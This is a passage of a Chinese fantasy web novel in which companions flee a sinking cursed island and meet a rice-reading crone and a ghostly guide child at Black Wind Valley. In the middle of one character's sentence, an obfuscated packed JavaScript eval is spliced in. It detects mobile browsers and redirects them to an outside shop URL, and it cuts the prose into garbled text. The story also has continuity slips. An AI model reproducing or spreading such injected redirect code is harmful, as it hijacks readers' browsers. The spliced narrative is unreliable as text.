白砚不知何时走到九如另一侧。他脸色苍白如纸,额上全是冷汗,反噬魂咒的疼痛显然已到极限。可他仍挺直脊背,声音低而稳: “烈风煌说得对。有些伤口,外人的存在只会让它们溃烂得更快。” 芒种也蹭过来,小手抓住九如的衣角,眼泪汪汪地摇头:“九如哥哥,我们走吧……我害怕……” 九如看看这个,看看那个。 最后,他看向紫珠。 紫珠已经停止了哼歌。她轻轻放下怀中的孩子,替他整理好衣襟,拂去脸上的沙粒。然后她站起来,动作很慢,像个关节生锈的木偶。她环顾四周哭嚎的岛民,又抬头望天。 天边不知何时翻了鱼肚白。血月彻底沉入海平线下,白日升起,金红色的朝霞泼洒开来,美得惊心动魄。 可这美景映在紫珠眼里,却只余荒凉。 她微微抬起手。阳光太耀眼,她眯起眼,声音平淡得像在说今日天气: “今日过后,岛要自封了。” 岛民们抬起头,泪眼朦胧地看着他们的圣女。 紫珠继续说:“你们左前方有轮渡,现在走的话,还能躲过海上风浪。愿意离开的,带上能带的东西。” 她的目光扫过九如一行人,最后定格在烈风煌身上。那眼神里没有恨,没有怨,只有一种深不见底的疲惫。 “你们走吧。” 烈风煌冷哼一声:“谁想留了?” 他朝白砚递个眼色。白砚会意,立刻搀起九如左臂,烈风煌架起右臂,两人一左一右,几乎是将九如拖离海滩。芒种小跑着跟在后面,时不时回头看一眼,小脸煞白。 “等等——”九如挣扎,“我们不能就这么——” “你能做什么?”烈风煌打断他,脚步不停,“你有办法解除诅咒?有办法让死人复活?有办法抹掉昨夜发生的一切?” 九如语塞。 烈风煌的语气稍微软了一点,但依然强硬:“既然不能,就闭嘴,跟我走。” 他们穿过哀鸿遍野的海滩,踩过粘稠的血沙,绕过散落的残肢断臂。九如的眼睛被迫接收这一切:那个被劈成两半的老妇人,眼睛还睁着,望着天空;那几个身首分离的男人,手指还保持着抓握的姿势;那个颅骨碎裂的孩子…… 他胃里翻搅,想吐,却吐不出来。 轮渡停在简易的木码头边,是艘旧船,船漆斑驳,桅杆上挂着褪色的渔网。烈风煌率先跳上去,转身拉九如。白砚在下面托了一把,芒种也跟着爬上来。 船夫是个沉默的老汉,脸上皱纹深得像是刀刻出来的。他看了他们一眼,又看了看海滩上的惨状,什么也没问,只是解开了缆绳。 船桨划破水面,轮渡缓缓离岸。 九如站在船尾,望着越来越远的白骨岛。晨光中,那座岛竟显出几分凄美的轮廓——白色的沙滩,墨绿的丛林,嶙峋的黑色礁石。如果没有昨夜,它本该是个世外桃源。 “我们真就这么走了?”九如喃喃,像是在问自己,也像是在问烈风煌。 烈风煌靠在船舷上,闭着眼,似乎在养神。听到九如的话,他眼皮都没抬: “你没有那什么黄金果子,留在这等着被啃食殆尽?你有几条命啊?” 九如在心里默默回怼了一句:“目前来看,貌似不限额。” 这念头让他自己都怔了一下。是啊,他到底死过多少次了?每一次重生,记忆就破碎一些,唯有寻找金瞳白发之人的执念始终清晰。可如果有一天,连这执念都模糊了呢?那他还会是“九如”吗? 白砚坐在船头。海风吹起他额前碎发,露出那双总是若有所思的眼睛。他没有看九如,而是望着海面,声音淡淡的,却字字清晰: “你就不好奇,为什么三番四次会被认成守渊者?” 九如皱眉。 这个问题他当然想过。在桃花村,镇魂蛇第一次出现时,那双竖瞳死死盯着他,发出嘶哑的人言:“守渊者……的气息……”在圆合城,非宝消散前将镇魂蛇核心交给他,说:“你身上有‘他’的影子。”在白骨岛,紫珠第一眼看到他,就跪下了。 “就算我不是他,”九如说,“我们也不能坐视——” “你有解决办法?”烈风煌冷漠打断。 九如沉默了。 他确实没办法。潮汐血月他也是头次遇见,甚至他的血都无法挽救的情况——昨夜他割开手腕,试图以鲜血中的某种力量压制诅咒。血滴在沙地上,确实让部分岛民暂时恢复清醒。可那效果太微弱,范围太小,而他的血……流得太快。 到最后,他因失血过多倒地,几个仍处疯狂的岛民扑上来想撕咬他。然后,烈风煌的剑就到了。 “既然你无法解决别人的困境,”烈风煌睁开眼,看着九如,眼神认真得近乎残酷,“就不要轻易去干涉他人的因果。比绝望更痛苦的是给了希望又破灭掉。她已经在上一个希冀中苦侯了十年,你还要再将她丢进深渊一次吗?” 九如说不出话。 他想起紫珠那双空洞的眼睛。想起她说“每逢想死,又想到十年就快了,行百步者,哪能停在九十九”。十年,三千多个日夜,每个血月之夜割腕放血,痛不欲生却无处诉说。支撑她的唯一信念,就是守渊者会来。 然后九如来了。 带着守渊者的剑,带着守渊者灵兽的核心,甚至带着守渊者的气息。 他给了她希望——哪怕他本意并非如此。 然后昨夜,希望在她眼前碎成粉末,混着族人的血,再也拼不回来。 一时间,沉默蔓延开。只有海浪拍打船舷的声音,单调而永恒。海鸥在远处盘旋,发出凄厉的鸣叫。阳光越来越烈,照在血污未干的衣袍上,蒸腾起淡淡的腥气。 白砚轻声开口,像是自言自语,又像是对所有人说: “清醒的痛苦和疯癫的快乐,都是他们自己的选择。你救不了所有人。” 话音落下的瞬间,远处突然传来轰鸣。 那声音低沉厚重,像是大地在呻吟。九如猛地转头—— 白骨岛,正在下沉。 不是缓缓沉降,而是以一种肉眼可见的速度,被海水吞噬。白色的沙滩先消失,接着是墨绿的丛林,然后是嶙峋的礁石。岛中央那座圣坛——紫珠十年守望的地方——最后没入水中,激起巨大的漩涡。 整个过程不过几十息。 转瞬间,曾经繁华布满生机的小岛,就从海平面上彻底消失了。只剩一圈圈扩散的波纹,证明那里曾经存在过什么。 九如僵在船尾,手死死抓着船舷,指节泛白。 他想起紫珠最后那句话:“今日过后,岛要自封了。” 原来她说的“自封”,是这个意思。 不是封锁岛屿,而是让岛屿沉入深海,彻底与世隔绝。那些选择留下的岛民——那些失去至亲、无法承受痛苦、或仍对圣女抱有最后信仰的人——将随岛屿一同沉没。从此,白骨岛真正变成传说,只在渔夫醉酒后的胡话里,偶尔出现。 船夫老汉长长叹了口气,摇摇头,继续划桨。 烈风煌依旧闭着眼,仿佛什么都没听见。 白砚望着那片空荡的海面,眼神复杂。 芒种小声抽泣起来,把头埋进膝盖里。 九如站了很久,直到岛屿消失的地方连波纹都散去,海面恢复平静,像一块巨大的、无情的蓝宝石。 待他们上了岸,已是午后。 芒种已经等在渡口。她换了一身干净的粗布衣裙,头发也重新梳过,扎成两个小髻。看见九如他们,她眼睛一亮,小跑过来,手里捧着一篮金灿灿的果子。 “你们终于回来了!” 她的笑容很灿烂,像从未见过昨夜的血腥。可九如注意到,她眼睛红肿,显然哭过很久,那笑容是硬挤出来的。 芒种把篮子递过来:“这是渔民伯伯给我的。他说橘子成堆的烂掉了,之前还能运输给对面的岛上,可是近几年不知道为什么,白骨岛不接受任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109780|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外来物品了,果子卖不掉,只能烂在泥里。” 她拿起一个橘子,剥开,清新的柑橘香气飘散开来:“我太饿了,吃了从海里捞的鱼。渔民伯伯说这鱼有轻微毒素,要靠橘子中和掉毒素,久了会轻微致幻。” 九如愣住。 他接过橘子,仔细看。果皮金黄,饱满多汁,正是烈风煌之前喂给他的那种——在桃花村,他重伤初愈时,烈风煌不知从哪挖来几个橘子,硬塞进他嘴里,说“补血”。 “难道白骨岛的血月惨境,就是因为吃了这些带毒素的鱼?”九如喃喃,“可是岛上明明有橘子啊……” 烈风煌抱胸站在一旁,闻言嗤笑:“我给你的橘子,是在土里挖出来的。埋得很深,像是刻意藏起来的。可见他们根本不把橘子当回事。” 他顿了顿,又道:“而且这鱼要真这么毒,他们哪能活这么多年?一代代吃下来,早就灭族了。” 白砚接话道:“心若无歹念,怎么会因一点毒素引起疯狂颠症?他们自己选择自封岛内,不与外界交流。封闭的环境,长不出向阳的种子。” 九如不知作何评价。 他想起昨夜那些岛民疯狂时的眼神——那不是单纯的兽性,而是混杂着贪婪、嫉妒、仇恨、压抑已久的欲望。血月或许放大了毒素的效果,但毒素放大的,是他们心中本就存在的黑暗。 芒种不解地看着他们:“怎么了?为什么你们看起来好难过的样子。” 烈风煌哼了一声:“谁难过我都不会难过。有吃的没有?饿死了。” 白砚从鼻子里喷出一口气,默默走到一旁,弯腰捡起地上散落的橘子——那是从篮子里掉出来的。他捡得很仔细,一个一个,用袖子擦干净,放回篮子里。 芒种眨眨眼,看向九如。 九如轻轻摸了摸她的脑袋。少女的发丝柔软,带着阳光的温度。 “还好你走出来了。”他说。 从桃花村的活人祭坛,到白骨岛的血月地狱,这个不过十三四岁的少女,一路跟着他们,见了太多不该见的。可她依然会在渡口等他们,会笑着递来一篮橘子,会问“你们饿不饿”。 芒种一脸莫名。 她不懂九如在说什么,也不懂为什么大家的情绪这么沉重。但她看到九如对她笑——虽然那笑容很疲惫,很勉强——她便下意识提起嘴角,如平常一样,也跟着笑了。 笑容很浅,像初春冰面上第一道裂痕。 九如看着她,忽然想起很久以前——也许是某个轮回里——也有人这样对他笑过。那人是谁,记不清了。只记得那笑容很暖,像冬日里唯一一捧火。 他握了握拳,感觉到掌心镇魂蛇核心的冰凉触感。 那枚从非宝手中接过的、形似蛇瞳的幽蓝核心,此刻安静地躺在他怀里,贴着心口的位置。昨夜白骨岛下沉前,它曾微微发烫,像在哀悼,又像在指引什么。 还有承影剑。剑灵虽然微弱,却始终与他心神相连。此刻,剑灵传来一丝极其模糊的感应——不是指向某个方向,而是一种“时机未到”的沉寂。 以及白砚手臂上的反噬魂咒。那咒文与镇魂蛇有关,白砚击伤灵兽时被种下。若要解除,恐怕还得从守渊者这条线索入手。 更不用说他自己——记忆破碎,重生机制不明,与守渊者的关系成谜。还有那句在轮回中反复出现的低语:“当镇魂之瞳映照归墟,门扉将为真实之血开启。” 真实之血……是指他的血吗? 九如低头看自己手腕上尚未愈合的伤口。昨夜流的血,暂时压制了诅咒,却也引来了疯狂的反扑。他的血,究竟是解药,还是毒药? “接下来去哪?”烈风煌的声音打断他的思绪。 九如抬头。 烈风煌已经吃完了两个橘子,正拿着第三个在手里抛接。他脸上没什么表情,但眼神里的赤金色已经褪去,恢复了深褐。只是那深褐里,多了些说不清道不明的东西——像是疲惫,又像是某种下定决心的冷硬。 白砚也看过来。他手臂上的魂咒暂时被某种秘法压制,疼痛减轻,脸色好了许多。但他眉头微蹙,显然在思考什么。 芒种抱着橘子篮,看看这个,看看那个,小声说:“渔民伯伯说,往北走三天,有个大城叫‘扶风’。那里商队多,消息也灵通,说不定……能打听到守渊者的线索?” 扶风城。 九如没听过这个名字,但“往北走”这三个字,让他心头一动。紫珠沉岛前说过,深渊之门在“岛屿极北的渊隙之崖下”。虽然岛已沉没,但“极北”这个方向,或许仍有意义。 而且,他需要时间。需要时间养伤,需要时间研究镇魂蛇核心,需要时间弄清楚自己到底是谁,以及为什么总被认成守渊者。 “那就去扶风城。”九如说。 他的声音依然虚弱,但多了几分坚定。 烈风煌挑眉:“想通了?不继续当救世主了?” 九如看他一眼,缓缓道:“我救不了所有人。但至少,我要弄清楚自己是谁,为什么要找那个人,以及——” 他顿了顿,望向北方天际。 那里云层厚重,隐隐有雷光闪烁。 “——以及,这一切悲剧的根源,到底是什么。” 白砚点点头:“也好。扶风城是交通枢纽,三教九流汇聚。关于守渊者、深渊之门,甚至你身上的重生之谜,或许都能找到蛛丝马迹。” 芒种高兴起来:“那我们现在就出发?我去跟渔民伯伯买点干粮!” 她抱着篮子跑开,两条小辫在脑后一甩一甩。 九如看着她跑远的背影,忽然问:“白砚,你的魂咒……还能撑多久?” 白砚沉默片刻,道:“半个月。若半个月内找不到解法,咒文会侵入心脉。” “烈风煌,”九如转向另一人,“昨夜你杀了多少人?” 烈风煌抛橘子的动作停住。橘子掉在地上,滚了几圈,沾满尘土。 “二十七个。”他声音平淡,“或者二十八个。没细数。” “后悔吗?” 烈风煌弯腰捡起橘子,用衣角擦了擦,剥开一瓣塞进嘴里。咀嚼了很久,才说: “不后悔。他们若伤了你,我会杀更多。” 这话说得毫无波澜,却让九如心头一紧。 他想起昨夜烈风煌挥剑时的眼神——那不是杀戮的快意,而是一种近乎绝望的暴怒。仿佛他斩的不是人,而是某种更抽象的东西:命运,诅咒,或者他自己无能为力的愤怒。 “下次,”九如说,“尽量别杀。” 烈风煌笑了。那笑容很冷,带着嘲讽:“你能保证下次没有‘不得不杀’的情况?九如,这世道不是非黑即白。有时候,你不杀人,人就杀你。有时候,你救了人,反而害了更多人。” 他走近一步,压低声音:“就像昨夜。你救那些岛民,结果呢?他们清醒后第一件事是恨你,恨我,恨所有外来者。紫珠苦等十年,最后亲眼看着族人死光,岛屿沉没。这就是你‘救人’的结果。” 九如哑口无言。 白砚轻咳一声,打断这剑拔弩张的气氛:“过去的事,争论无益。当下要紧的是决定路线。从这去扶风城有两条路:一是走官道,平坦安全,但绕远,需五日;二是穿黑风谷,近,但险,传闻有妖物出没。” “走黑风谷。”烈风煌毫不犹豫,“我没耐心多绕两天。” 九如想了想,点头:“我也选近路。时间紧迫。” 不是不怕险,而是他隐约觉得——有什么东西在黑风谷等着他们。不是危险,而是……答案。关于守渊者,关于深渊之门,关于他那破碎记忆里始终闪烁的金瞳白发幻影。 芒种抱着干粮跑回来,气喘吁吁:“买、买好了!渔民伯伯还说,黑风谷最近不太平,让我们小心……” “正好。”烈风煌接过干粮袋,甩到肩上,“不太平的地方,才有意思。” 白砚无奈摇头,却也没反对。 四人稍作休整,便朝北出发。 渡口渐渐远去,身后是平静的、吞噬了整座岛屿的大海。前方是蜿蜒的土路,通向层峦叠嶂的远山。阳光斜照,将他们的影子拉得很长,很长。 九如回头最后看了一眼海面。 那里什么都没有了。没有岛,没有血,没有十年守望的圣女和她的族人。只有无边无际的蓝,像一块巨大的墓碑。 他握紧怀中的镇魂蛇核心。 冰凉,坚硬,却隐隐传来脉搏般的跳动。 仿佛在说:还没结束。 一切,才刚刚开始。 而那个金瞳白发之人,究竟在何方? 深渊之门后,又藏着什么? 他的重生,他的记忆破碎,他与守渊者千丝万缕的联系——所有这些谜团,像一张巨大的网,正缓缓收紧。 九如深吸一口气,转身,跟上同伴的脚步。 前方,黑风谷的阴影,已在视线尽头隐约浮现。 16. 黑风问米无可归 黑风谷的入口,比想象中更诡异。 那不是寻常意义上的山谷隘口——没有嶙峋的怪石,没有茂密的植被,甚至连条像样的路都没有。只有两座光秃秃的黑色山崖对峙而立,中间裂开一道缝,宽不过三丈。缝里涌出的不是风,是雾。浓稠的、仿佛有生命的灰白色雾气,贴着地面缓缓流淌,像某种巨兽垂死的呼吸。 最奇的是,这雾只在谷口徘徊,绝不越界半步。阳光照在雾面上,竟折射出金属般的冷光。雾中隐隐有影子晃动,看不清是人,是兽,还是别的什么东西。 而在这诡异的谷口前,坐着一个人。 那是个全身包裹在黑布里的老婆婆。黑布不是寻常衣料,而是一种毫无光泽、仿佛能吸收所有光线的厚重织物,从头顶披到脚踝,只露出一双枯槁的手。她坐在一张矮凳上——那凳子也怪,四条腿长短不齐,却稳当当地扎在碎石地里。她面前摆着个小小的木案,案上只有一个碗。 碗是粗陶的,边缘有缺口,里面盛着半碗白米。 白米在阳光下莹莹发亮,颗颗饱满,与周遭阴森的环境格格不入。老婆婆就那样坐着,一动不动,像一尊被遗忘在此地的石像。她的呼吸极轻,轻到几乎察觉不到。若不是那双偶尔转动的眼珠——透过黑布缝隙,能看见两点浑浊的、近乎白色的光——真要以为这是个死人。 四人停下脚步。 烈风煌最先皱眉。他的手已按在刀柄上,周身肌肉微微绷紧,是野兽察觉危险时的本能反应。白砚则眯起眼,仔细打量那老婆婆,以及她面前那碗诡异的米。芒种下意识往九如身后缩了缩,小手抓紧了他的衣角。 九如的心跳莫名加快。 不是恐惧,而是一种……熟悉感。就像在无数个破碎的梦里见过类似的场景:黑色的山,白色的雾,一个看不清面目的人,一碗发光的米。这感觉转瞬即逝,却让他的脊背泛起一阵寒意。 白砚最先上前。他走得很慢,每一步都踏得稳,手臂上的反噬魂咒被衣袖完全遮住,但九如注意到,他垂在身侧的那只手,手指在轻微颤抖——那是剧痛强行压抑的迹象。 “这位老人家,”白砚在离木案三步处停下,微微躬身,语气恭敬,“请问这里离黑风谷还有多远?” 老婆婆没有立刻回答。 她缓缓抬起头——黑布下的轮廓动了动,仿佛在“看”白砚。那目光如有实质,冰冷黏腻,像蛇爬过皮肤。良久,她才伸出右手。那手枯瘦得只剩皮包骨,指节突出,指甲灰黄,掌心布满纵横交错的深纹。 她探手入碗,抓起一把白米。 米粒从指缝漏下,沙沙作响。最后,她摊开手掌,掌心只剩十几颗米,在阳光下白得刺眼。 “拿一点。”老婆婆开口,声音嘶哑得像两块粗砂纸摩擦。 白砚怔了怔,看向那米,又看向老婆婆。对方那双浑浊的眼睛直勾勾盯着他,没有催促,也没有解释,只是等着。 烈风煌在后面嗤笑:“这是米?老虔婆,我们要问路,你让我们拿米做什么?” 老婆婆缓缓转向他。黑布下的目光落在烈风煌脸上,停留的时间比看白砚更长。那目光里有一种难以形容的东西——不是敌意,不是审视,倒像是……辨认。像在回忆很久以前见过的一张脸。 “想知道,”老婆婆慢吞吞地说,每个字都拖着黏稠的尾音,“就问米。” “问米?”烈风煌挑眉,手依然按在刀柄上,“米能知道什么?它能告诉我黑风谷里有没有埋伏?有没有妖物?有没有——” “这是供奉在神案的米。”老婆婆打断他,声音忽然清晰了些,那股嘶哑感退去,取而代之的是一种近乎吟诵的语调,“守渊者亲自种的,百试百灵。” 空气凝固了。 “守渊者”三个字,像一块巨石砸进死水,激起千层浪。 九如浑身一震。怀中的镇魂蛇核心猛地一烫,那热度透过衣料灼烧皮肤,几乎让他叫出声。承影剑在鞘中发出一声极细微的嗡鸣,剑灵仿佛被这三个字唤醒,传递来一种混杂着渴望与恐惧的情绪。 白砚的瞳孔骤然收缩。他死死盯着老婆婆,嘴唇抿成一条直线。烈风煌的手从刀柄上移开了一寸——不是放松,而是进入了更戒备的状态。芒种则睁大了眼,看看老婆婆,又看看九如,小脸上满是困惑。 守渊者。 那个在金瞳白发的幻影背后,在无数传说与谜团中心,在九如破碎记忆尽头等待的人。 而现在,这个诡异的老婆婆,用如此平淡的语气,说她手里的米是“守渊者亲自种的”。 白砚最先回过神。他深吸一口气,强迫自己冷静下来,然后低头看向老婆婆掌心的米。那米确实不寻常——普通的白米在阳光下会泛黄,这些米却白得近乎透明,每一颗都浑圆饱满,表面有一层极淡的、珍珠似的光泽。 “怎么问?”白砚声音压得很低。 老婆婆没有回答。她将掌心的米轻轻洒回碗中,然后从怀里摸出一个小巧的黑陶壶,壶嘴倾斜,倒出清水。水是清的,清澈见底,倒进碗里却瞬间变得浑浊——不是污浊,而是一种乳白色的、像稀释过的牛乳的浑浊。 米粒在水中缓缓沉浮。 老婆婆双手捧起碗,举到与眉心齐平,闭上眼,嘴唇开始嚅动。没有声音发出,但九如能看见她干裂的嘴唇在颤抖,念诵着某种古老晦涩的咒文。随着她的念诵,碗中的水开始旋转。 起初很慢,几乎看不见。渐渐地,漩涡成形,米粒被水流带动,在碗中跳起诡异的舞蹈。它们碰撞、分离、聚合,仿佛有生命般寻找着自己的位置。 所有人都屏住了呼吸。 烈风煌不再嗤笑,他的表情变得凝重,眼神紧盯着那碗米。白砚微微前倾身体,试图看清米粒的变化。芒种抓紧了九如的袖子,指甲几乎掐进肉里。 九如的心跳如擂鼓。 他看见那些米粒开始排列。不是杂乱无章的漂浮,而是有意识的、遵循某种规律的运动。它们一粒接一粒,在水中连成线,蜿蜒盘旋,最后—— 形成了一个图案。 太极。 黑白两色的米粒不知何时染上了颜色——不,不是染色,而是米粒本身透出了光。黑色的米粒幽暗如深夜,白色的米粒皎洁如明月,它们在水中缓缓旋转,阴阳鱼首尾相衔,完美无瑕。 烈风煌倒抽一口凉气。 白砚的呼吸也急促起来。 这已超出寻常“问米”的范畴。这是法术,是预言,是某种他们无法理解的、直指天地本源的力量。 然而太极图案只维持了不到三息。 就像被一只无形的手搅乱,阴阳鱼开始崩解。黑色的米粒与白色的米粒混杂交融,漩涡逆转,水流变得混乱。米粒重新开始排列,这一次更慢,更挣扎,仿佛在抗拒什么。 它们聚拢,散开,再聚拢。 最终,缓缓凝聚成—— 一座塔。 九如的血液几乎冻结。 那塔的轮廓他太熟悉了。高耸入云,通体漆黑,塔檐飞翘如鹰隼展翅,塔身布满无数细密的符文——正是昆丘山圆合城中,那座囚禁了非宝三百年的黑塔。米粒甚至勾勒出了塔顶那颗早已熄灭的明珠,以及塔身上那道被承影剑斩出的、贯穿上下的裂痕。 一模一样。 “黑塔向北。”老婆婆睁开眼,声音恢复了嘶哑,却字字清晰,“你要找的人,朝北方就行。” 白砚死死盯着碗中的塔影。米粒还在微微颤动,仿佛那座塔随时会崩塌,但轮廓始终清晰。他喉结滚动,半晌,才缓缓抱拳,声音干涩: “多谢。” 老婆婆不再说话。她放下碗,双手拢回黑袍里,重新变回那尊沉默的石像。 白砚转身,朝三人使了个眼色。烈风煌率先迈步,芒种紧跟其后,九如落在最后。他的脚步有些虚浮,脑海中那座黑塔的影像挥之不去——非宝消散前将镇魂蛇核心交给他的画面,那孩子般的塔灵最后说的话:“你身上有‘他’的影子……去找他……” 就在九如即将踏出谷口阴影的瞬间,身后传来喃喃自语。 声音极轻,像风吹过枯叶,却每个字都钉进他耳中: “米线断纹,血光阴债。” 九如猛地顿住脚步。 他回头,看向那老婆婆。她还是那样坐着,黑布下的身影佝偻如虾,双手拢在袖中,头低垂着,仿佛刚才那八个字根本不是她说的。 但那声音…… 那声音里有某种东西,像一根冰冷的针,刺进九如记忆的最深处。不是画面,不是具体的事件,而是一种感觉——一种背负着无数死亡、鲜血与罪孽的沉重感。仿佛他真的欠下了什么“阴债”,而债主,正从时间的彼岸凝视着他。 “九如?”白砚在前方唤他。 九如深吸一口气,强迫自己移开视线,转身跟上。可那八个字,像诅咒,像预言,像判决,在他脑海中反复回响。 米线断纹。 血光阴债。 他们沿着谷口向北走了约莫一里地。路越来越窄,两旁的山崖越来越高,光线被挤压成一条细缝。雾气不再只停留在谷口,开始丝丝缕缕地渗出来,缠绕在脚踝,冰冷黏腻。 九如心神不宁。他一手按着怀中的镇魂蛇核心——它还在微微发烫,像在警告什么——另一手下意识地摩挲着承影剑柄。剑灵的感应越来越清晰:前方有东西。不是危险,也不是机遇,而是某种……介于生死之间的存在。 白砚忽然停下。 “不对劲。”他低声道,目光扫视四周,“太安静了。” 确实安静。没有鸟鸣,没有虫嘶,连风声都消失了。空气凝滞得像一潭死水,只有他们自己的呼吸声和脚步声,在狭窄的山道间回荡,显得格外突兀。 烈风煌已经拔出了刀。不是之前那柄重剑,而是一把较短的、弧度诡异的弯刀,刀身暗红,仿佛常年浸血。他横刀在胸,眼神锐利如鹰,扫过每一块岩石,每一片阴影。 芒种紧紧贴着九如,声音发颤:“我、我有点怕……” 话音未落。 前方拐角处,突然冲出一个影子。 那影子来得极快,像一道灰色的闪电,直直撞向走在最前面的九如。九如本就心神恍惚,猝不及防,被撞了个正着。那冲击力不小,他踉跄后退,幸好白砚在旁扶了一把,才没摔倒。 低头一看,撞他的竟是个童子。 约莫七八岁年纪,穿着灰扑扑的短褂,赤着脚,怀里抱着一根半人高的芦苇。那芦苇枯黄干瘪,顶端却诡异地缀着几缕鲜红的穗子,像血染过。 九如下意识扶住童子的肩:“小心。” 童子抬起头。 九如的手僵在半空。 那是一张苍白得没有一丝血色的脸。五官清秀,嘴唇却是乌紫的。最骇人的是那双眼睛——没有瞳孔,没有虹膜,整个眼眶里全是眼白,白得像两团凝固的牛奶,在昏暗的光线下泛着幽幽的、非人的光。 “什么东西?!” 烈风煌反应最快。他一步踏前,刀鞘横扫,不是劈砍,而是用巧劲击在童子胸口。这一击力道不小,足以让成年壮汉倒退数步,可那童子只是晃了晃,竟纹丝不动。 不,不是纹丝不动。 他的身体以一种极其诡异的方式卸掉了力道——关节反折,像没有骨头般扭曲,然后又缓缓复位。整个过程无声无息,那双全白的眼睛始终“看”着九如,没有愤怒,没有痛苦,没有任何属于人类的情绪。 白砚倒抽一口凉气:“仔细看他的关节!” 众人这才看清:这童子的肘关节、膝关节、甚至指关节,全都是反的。正常人弯曲向内的部位,他弯曲向外。所以他的站姿极其别扭,两腿像两根错位的竹竿,支撑着摇摇欲坠的身体。而他的走路姿势——如果那能叫走路——更诡异:不是迈步,而是滑动,脚底仿佛从不真正接触地面,只是虚虚点着。 芒种盯着童子看了半晌,忽然小声嘀咕:“怎么感觉有点眼熟……” 烈风煌已经没了耐心。他手腕一翻,弯刀出鞘,刀锋在空气中划出一道暗红色的弧光。不是劈向童子,而是甩出一道刀风——修罗道的秘技,以煞气凝风,无影无形,却能斩金断玉。 “烈风煌!”九如大惊,“别伤害他!” 刀风呼啸而至。 童子不躲不闪。那足以撕裂岩石的刀风撞在他身上,竟像泥牛入海,消失得无影无踪。而童子只是被吹得向后飘了三尺——真的是“飘”,双脚离地,像一片羽毛般轻盈落地,身上连道划痕都没有。 烈风煌收刀,脸色彻底沉了下来。 “这东西我可伤不了。”他声音冰冷,每个字都像是从牙缝里挤出来的,“黄泉引路童子,只走酆都路,不过人间桥。” 死寂。 连呼吸声都消失了。 黄泉引路童子。 这个名号,在场四人都听过传说。那是幽冥地府的使者,非生非死,徘徊在阴阳交界处,专门引导不该逗留人间的亡魂回归地府。他们不入轮回,不沾因果,人间一切法术、刀兵,对他们皆无效力。 而这样的存在,此刻就站在他们面前。 抱着枯黄的芦苇,睁着全白的眼睛,“看”着九如。 “那老婆子,”白砚缓缓开口,声音干涩得可怕,“给我们指了条死路。” 不是比喻。黄泉引路童子出现的地方,往往意味着前方已非生者该踏足之地。要么是通往幽冥的入口,要么是某处阴阳界限彻底模糊的绝地。 可老婆婆明明说“朝北方就行”。 她说那米是守渊者亲手种的。 她说—— 九如猛地想起那八个字:“米线断纹,血光阴债。” 他看向童子。童子依然站在那里,一动不动,只有怀中的芦苇穗子在无风的空气中轻轻摇曳,那鲜红的颜色刺得人眼睛发痛。 “他……在等什么?”芒种小声问,声音抖得厉害。 烈风煌握紧刀柄,指节发白:“等我们死。或者等我们跟他走。” 白砚忽然上前一步。他没有看童子,而是看向童子怀中的芦苇。看了很久,他缓缓道:“不对。黄泉引路童子引导的是亡魂。可我们还活着。他若真要引路,该去白骨岛——那里刚死了上百人,亡魂还未散尽。” 他转向九如,眼神复杂:“除非……我们中有人,本就不该活着。” 这话像一盆冰水,当头浇下。 九如浑身冰凉。 不该活着的人…… 是他吗? 无数次重生,破碎的记忆,寻找金瞳白发之人的执念……如果这一切的根源,是因为他本就是个“不该存在”的异物呢?一个徘徊在生死边缘,既不入轮回,也不归人间的…… 亡魂? 童子忽然动了。 不是走向他们,而是转过身,面朝北方——黑风谷深处。他抬起一只脚,又放下,动作僵硬得像提线木偶。然后,他回头,用那双全白的眼睛“看”向九如。 不是看所有人。 只看向九如。 那眼神依然空洞,却多了一丝催促的意味。像在说:跟我来。 “他想让你跟他走。”烈风煌的声音冷得像冰,“九如,别去。” 白砚也挡在九如前:“黄泉路一旦踏上,就回不来了。无论你是生是死,一旦被引渡,就永远属于幽冥。” 芒种死死抓住九如的胳膊,眼泪滚下来:“九如哥哥,别去……我害怕……” 九如看着童子。 童子的脸苍白如纸,那双全白的眼睛像两面镜子,映不出任何东西,却仿佛能照进人灵魂的最深处。九如忽然想起很多事——想起每次重生醒来时的迷茫,想起记忆碎片中那些模糊的面孔,想起自己流出的血能暂时压制诅咒,想起非宝说他身上有“守渊者的影子”。 还有老婆婆那八个字:米线断纹,血光阴债。 也许……他真的欠下了什么。 也许……这条黄泉路,是他迟早要面对的。 “如果,”九如缓缓开口,声音平静得连自己都意外,“如果我真的不该活着呢?如果我的存在本身,就是某种错误呢?” “那又怎样?”烈风煌一步踏前,几乎与九如面对面,那双深褐色的眼睛里燃起火焰,“我管你该不该活。我只知道,你现在站在这里,会呼吸,会流血,会为了救不相干的人拼命——这就够了。谁敢带你走,我就杀谁。神佛挡路,我斩神佛;幽冥索命,我碎幽冥。” 这话说得狂妄,甚至可笑。可烈风煌的眼神里没有半点玩笑。她是认真的。认真到九如毫不怀疑,如果眼前这个黄泉引路童子再进一步,烈风煌真的会挥刀——哪怕明知伤不了对方,也会斩到刀碎人亡为止。 白砚也开口,声音很轻,却异常坚定:“九如,你记得在圆合城,非宝消散前说的话吗?他说‘你身上有他的影子,但你不是他’。守渊者或许与幽冥有关,但你是你。你的路,该你自己选,不该由什么黄泉使者决定。” 芒种哭得说不出话,只是拼命摇头。 九如看着他们。 烈风煌,修罗道的传人,手上染满鲜血,却一次次挡在他身前。 白砚,阿尔默族的罪人,身负反噬魂咒,却始终冷静理智地分析局势。 芒种,从桃花村祭坛救下的少女,胆小爱哭,却一路跟着他们走到这里。 还有他自己——记忆破碎,身世成谜,连是生是死都搞不清楚的九如。 他们本不该是一路人。却因缘际会,走到了这里,站在黄泉引路童子面前,面对着可能是绝路的抉择。 童子又催促了一次。他怀中的芦苇穗子无风自动,鲜红的颜色在昏暗的光线中像一簇跳动的火焰。 九如深吸一口气。 他抬手,轻轻掰开芒种抓着他胳膊的手,然后向前走了一步。只一步,就跨出了烈风煌和白砚的保护圈。 “九如!”烈风煌厉喝。 九如没有回头。他走到童子面前,蹲下身——这样他的视线就能与童子齐平。那双全白的眼睛近在咫尺,冰冷,空洞,非人。 